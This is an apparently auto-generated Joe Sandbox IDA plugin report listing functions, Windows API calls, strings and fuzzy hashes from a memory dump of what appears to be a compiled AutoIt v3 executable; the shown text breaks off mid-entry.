Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 89ae806339cffab5701428dfcf288ab79e442882f9d85709ca8a26fcb99afddc
Instruction ID: 877f89cdbcc267a00211539e8e5e73aa2dd8269f22b28fbab3604a7d915e7fef
Opcode Fuzzy Hash: 89ae806339cffab5701428dfcf288ab79e442882f9d85709ca8a26fcb99afddc
Instruction Fuzzy Hash: F2A1856590E3C2DFCF16E7797C496A67FB8BB66300B1C44AFD44193B61D62C4608EB21

Function 007C42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,007C50AA,?,?,00000000,00000000), ref: 007C42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,007C50AA,?,?,00000000,00000000), ref: 007C42C9
LoadResource.KERNEL32(?,00000000,?,?,007C50AA,?,?,00000000,00000000,?,?,?,?,?,?,007C4F20), ref: 008035BE
SizeofResource.KERNEL32(?,00000000,?,?,007C50AA,?,?,00000000,00000000,?,?,?,?,?,?,007C4F20), ref: 008035D3
LockResource.KERNEL32(007C50AA,?,?,007C50AA,?,?,00000000,00000000,?,?,?,?,?,?,007C4F20,?), ref: 008035E6

Strings

SCRIPT, xrefs: 007C42BF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 1ee6d77447cd219d20e929bbe9dff02f2452c3e80102016f9d68713d308c1e92
Instruction ID: bc047b3bcfcb8bc9d01cf56bbc71226552b3774464744a5f2c00cbf489c35105
Opcode Fuzzy Hash: 1ee6d77447cd219d20e929bbe9dff02f2452c3e80102016f9d68713d308c1e92
Instruction Fuzzy Hash: 6B117971200700BFEB218BA5DC49F277BBAFBC5B52F20816DB816D62A0DB75D800DA20

Function 00802BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 007C2B6B

Part of subcall function 007C3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00891418,?,007C2E7F,?,?,?,00000000), ref: 007C3A78

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00882224), ref: 00802C10
ShellExecuteW.SHELL32(00000000,?,?,00882224), ref: 00802C17

Strings

runas, xrefs: 00802C0B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: c18724271a59cf9547ce7dc59074966b0df94316dfaee1e48094729a84d8437b
Instruction ID: cbadce0eefe39af43e481c5cdded0b2d91fe8c15ac48121c378e466dc42b696e
Opcode Fuzzy Hash: c18724271a59cf9547ce7dc59074966b0df94316dfaee1e48094729a84d8437b
Instruction Fuzzy Hash: A911D231208341DACB14FF60D85DFAEBBA5FB94310F48442DF192420A3DF2C894A8712

Function 0082D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0082D501
Process32FirstW.KERNEL32(00000000,?), ref: 0082D50F
Process32NextW.KERNEL32(00000000,?), ref: 0082D52F
CloseHandle.KERNELBASE(00000000), ref: 0082D5DC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 76c29e86e6569b3cf1ebff0abb2846410f5c47bd4af646eb6161147924e57cd2
Instruction ID: 363e3dbc7e331407a2c147332b07faf7918c82c9a16b48b469cfed429637e90d
Opcode Fuzzy Hash: 76c29e86e6569b3cf1ebff0abb2846410f5c47bd4af646eb6161147924e57cd2
Instruction Fuzzy Hash: 2D317E711083009FD301EF64D889EAFBBF8FF99354F14092DF581861A1EB75A985CBA2

Function 0082DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00805222), ref: 0082DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0082DBDD
FindFirstFileW.KERNEL32(?,?), ref: 0082DBEE
FindClose.KERNEL32(00000000), ref: 0082DBFA

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: ca123e6a1e36eccb304da8b35d25193fe099bc7dea26776daafd0a8366402a3c
Instruction ID: ff9a2ccd413a4dff525b7b8cbdc600ba942d61089b49f7d392c5eb97ffda219b
Opcode Fuzzy Hash: ca123e6a1e36eccb304da8b35d25193fe099bc7dea26776daafd0a8366402a3c
Instruction Fuzzy Hash: ABF0A030810B245B82206B78AC0D8AA3BACFF01336B104702F836D22E0EBB45994CA96

Function 007E4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(007F28E9,?,007E4CBE,007F28E9,008888B8,0000000C,007E4E15,007F28E9,00000002,00000000,?,007F28E9), ref: 007E4D09
TerminateProcess.KERNEL32(00000000,?,007E4CBE,007F28E9,008888B8,0000000C,007E4E15,007F28E9,00000002,00000000,?,007F28E9), ref: 007E4D10
ExitProcess.KERNEL32 ref: 007E4D22

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a96f1d5e7553ab0fc3254b67230d91c62c2f0c21eb247eb8758fc0829c45234b
Instruction ID: 4d675a6f6074e444ac3f4da08f511a38663f9cd9817dd074c722d9faf71263d5
Opcode Fuzzy Hash: a96f1d5e7553ab0fc3254b67230d91c62c2f0c21eb247eb8758fc0829c45234b
Instruction Fuzzy Hash: 0CE09231101688AFCB11AF65DD09A983B69FB85782B104054FA058A222CB39D942CA80

Function 0084AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0084B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0084B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0084B1D4
_wcslen.LIBCMT ref: 0084B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0084B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0084B236
_wcslen.LIBCMT ref: 0084B332

Part of subcall function 008305A7: GetStdHandle.KERNEL32(000000F6), ref: 008305C6

_wcslen.LIBCMT ref: 0084B34B
_wcslen.LIBCMT ref: 0084B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0084B3B6
GetLastError.KERNEL32(00000000), ref: 0084B407
CloseHandle.KERNEL32(?), ref: 0084B439
CloseHandle.KERNEL32(00000000), ref: 0084B44A
CloseHandle.KERNEL32(00000000), ref: 0084B45C
CloseHandle.KERNEL32(00000000), ref: 0084B46E
CloseHandle.KERNEL32(?), ref: 0084B4E3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: f45781bdfba1d4058e654044c8107e5cebbf16d69936aa56ba15e96af219d119
Instruction ID: 67d26ea0b7cf247574ad894151ec6a8a7cdb6b4d58bb11d169c773b28d5663d7
Opcode Fuzzy Hash: f45781bdfba1d4058e654044c8107e5cebbf16d69936aa56ba15e96af219d119
Instruction Fuzzy Hash: C6F16531608244DFC724EF24C895B2ABBE5FF84314F14855DF8999B2A2CB35EC40CB92

Function 007CD730 Relevance: 21.6, APIs: 14, Instructions: 623sleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 007CD807
timeGetTime.WINMM ref: 007CDA07
Sleep.KERNELBASE(0000000A), ref: 007CDBB1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: fa909e6252fe153c3be17633d23b49f2eaf119b889af1ac1c3ff0a8e40f1d037
Instruction ID: 8ec6db029b2263934147f965f486b12ccf2834d0bc8b02479fe64185be12bfa5
Opcode Fuzzy Hash: fa909e6252fe153c3be17633d23b49f2eaf119b889af1ac1c3ff0a8e40f1d037
Instruction Fuzzy Hash: 5542AD70608341EFDB35DF24C888FAAB7A5FF85304F14852EE55687291D778AC94CB92

Function 007C2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 007C2D07
RegisterClassExW.USER32(00000030), ref: 007C2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007C2D42
InitCommonControlsEx.COMCTL32(?), ref: 007C2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007C2D6F
LoadIconW.USER32(000000A9), ref: 007C2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 007C2D94

Strings

0, xrefs: 007C2CE9
TaskbarCreated, xrefs: 007C2D37
AutoIt v3 GUI, xrefs: 007C2D23
+, xrefs: 007C2CF0

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: c56f464fd07a216dc0c55e20c3a9fc8ed6d7bece3386665310a908e3c5f91bcf
Instruction ID: 37bf9d576a46a9cb043270db42efa9b5cc69a5cdd284c1c3d9e221916fc79750
Opcode Fuzzy Hash: c56f464fd07a216dc0c55e20c3a9fc8ed6d7bece3386665310a908e3c5f91bcf
Instruction Fuzzy Hash: 9F21B2B5905319AFDF00EFA4EC49B9DBFB4FB08B01F14811AFA11A62A0D7B95544CF91

Function 0080065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080039A: CreateFileW.KERNELBASE(00000000,00000000,?,00800704,?,?,00000000,?,00800704,00000000,0000000C), ref: 008003B7

GetLastError.KERNEL32 ref: 0080076F
__dosmaperr.LIBCMT ref: 00800776
GetFileType.KERNELBASE(00000000), ref: 00800782
GetLastError.KERNEL32 ref: 0080078C
__dosmaperr.LIBCMT ref: 00800795
CloseHandle.KERNEL32(00000000), ref: 008007B5
CloseHandle.KERNEL32(?), ref: 008008FF
GetLastError.KERNEL32 ref: 00800931
__dosmaperr.LIBCMT ref: 00800938

Strings

H, xrefs: 008008BD

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: f12c2bdba94906bd693ed0cd2ce33d9df6858d41d45c9b36e884e0cc3316bf0a
Instruction ID: 76461b565d984ef6a90e71f7766223acc16a769d36a058756c863045d39662f6
Opcode Fuzzy Hash: f12c2bdba94906bd693ed0cd2ce33d9df6858d41d45c9b36e884e0cc3316bf0a
Instruction Fuzzy Hash: 24A13632A002488FDF19AF68DC55BAE3BA0FB06324F14415AF815DB3D2DB359912CF92

Function 007C344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007C3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00891418,?,007C2E7F,?,?,?,00000000), ref: 007C3A78

Part of subcall function 007C3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 007C3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 007C356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0080318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 008031CE
RegCloseKey.ADVAPI32(?), ref: 00803210
_wcslen.LIBCMT ref: 00803277
_wcslen.LIBCMT ref: 00803286

Strings

\, xrefs: 0080328C
\Include\, xrefs: 007C3527
Software\AutoIt v3\AutoIt, xrefs: 007C3560
Include, xrefs: 00803184, 008031C5

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 87f1e12807dfa853080b795f9182236e0a2f09e679fabc113349f8cf178f3667
Instruction ID: f34e1c1a9b4552f75af602e5985a78e26473695cb287f801d2ed79d84cd9e032
Opcode Fuzzy Hash: 87f1e12807dfa853080b795f9182236e0a2f09e679fabc113349f8cf178f3667
Instruction Fuzzy Hash: F1716C71505301EEC314EF65EC869ABBBE8FF89340B44452EF545D32B1EB389A48DB62

Function 007C2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 007C2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 007C2B9D
LoadIconW.USER32(00000063), ref: 007C2BB3
LoadIconW.USER32(000000A4), ref: 007C2BC5
LoadIconW.USER32(000000A2), ref: 007C2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 007C2BEF
RegisterClassExW.USER32(?), ref: 007C2C40

Part of subcall function 007C2CD4: GetSysColorBrush.USER32(0000000F), ref: 007C2D07
Part of subcall function 007C2CD4: RegisterClassExW.USER32(00000030), ref: 007C2D31
Part of subcall function 007C2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 007C2D42
Part of subcall function 007C2CD4: InitCommonControlsEx.COMCTL32(?), ref: 007C2D5F
Part of subcall function 007C2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 007C2D6F
Part of subcall function 007C2CD4: LoadIconW.USER32(000000A9), ref: 007C2D85
Part of subcall function 007C2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 007C2D94

Strings

0, xrefs: 007C2C0F
#, xrefs: 007C2C16
AutoIt v3, xrefs: 007C2C2F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: ebb1f9b92a4203b603fed041209b49684bc7dcb26331c05461d338a06bde891a
Instruction ID: 5643461955c447aa3e7c3e07ed61d6bcf6bb62529ec538eb7057c4358dda30b2
Opcode Fuzzy Hash: ebb1f9b92a4203b603fed041209b49684bc7dcb26331c05461d338a06bde891a
Instruction Fuzzy Hash: 7B211A70E04319AFDF10AFA9EC59B997FB4FB48B50F08411BE504A67A0D7B90540EF90

Function 007C3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,007C316A,?,?), ref: 007C31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,007C316A,?,?), ref: 007C3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 007C3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,007C316A,?,?), ref: 007C3232
CreatePopupMenu.USER32 ref: 007C3246
PostQuitMessage.USER32(00000000), ref: 007C3267

Strings

TaskbarCreated, xrefs: 007C322D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 78b99c5b27ee25086aef0511f105719cf9caf982f1eb8feb0968e5eae8c096ff
Instruction ID: 31d86aab01b88ff0ffcd981ba878570e65abad4e90c1351b976ae614db042165
Opcode Fuzzy Hash: 78b99c5b27ee25086aef0511f105719cf9caf982f1eb8feb0968e5eae8c096ff
Instruction Fuzzy Hash: 5541D735248209AFDF152B789D4DFB93B69F705340F0C812EF902C66E1C76D9E40ABA1

Function 007C1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 007C1459
CoUninitialize.COMBASE ref: 007C14F8
UnregisterHotKey.USER32(?), ref: 007C16DD
DestroyWindow.USER32(?), ref: 008024B9
FreeLibrary.KERNEL32(?), ref: 0080251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0080254B

Strings

close all, xrefs: 007C1454

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 4f3a796aa0633354552ae2a2875856be2ab89fbed0099dfd38a271db176b71ee
Instruction ID: 4f998ad388822f8d1dce0816f23c7ba0ddc1379386d95f8d8037e256af11762e
Opcode Fuzzy Hash: 4f3a796aa0633354552ae2a2875856be2ab89fbed0099dfd38a271db176b71ee
Instruction Fuzzy Hash: C7D16931601212CFCB59EF14C899F29F7A4FF05710F5442ADE94AAB292DB35AD22CF94

Function 007C2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 007C2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 007C2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,007C1CAD,?), ref: 007C2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,007C1CAD,?), ref: 007C2CCF

Strings

edit, xrefs: 007C2CAC
AutoIt v3, xrefs: 007C2C89, 007C2C8E, 007C2C8F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: ac1ae4fb455c1bf6644759a41150ef7ae0ae30780858ed2996971231fef3964f
Instruction ID: 122572d6b13ff50bc621053de1057b4ad885caa5a5304f01e7feddc591a9e2ee
Opcode Fuzzy Hash: ac1ae4fb455c1bf6644759a41150ef7ae0ae30780858ed2996971231fef3964f
Instruction Fuzzy Hash: 9FF0DA755443917EEF312727AC0CE772EBDF7CAF51B04005AF904A26A0C6791854EEB0

Function 007C3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,007C3B0F,SwapMouseButtons,00000004,?), ref: 007C3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,007C3B0F,SwapMouseButtons,00000004,?), ref: 007C3B61
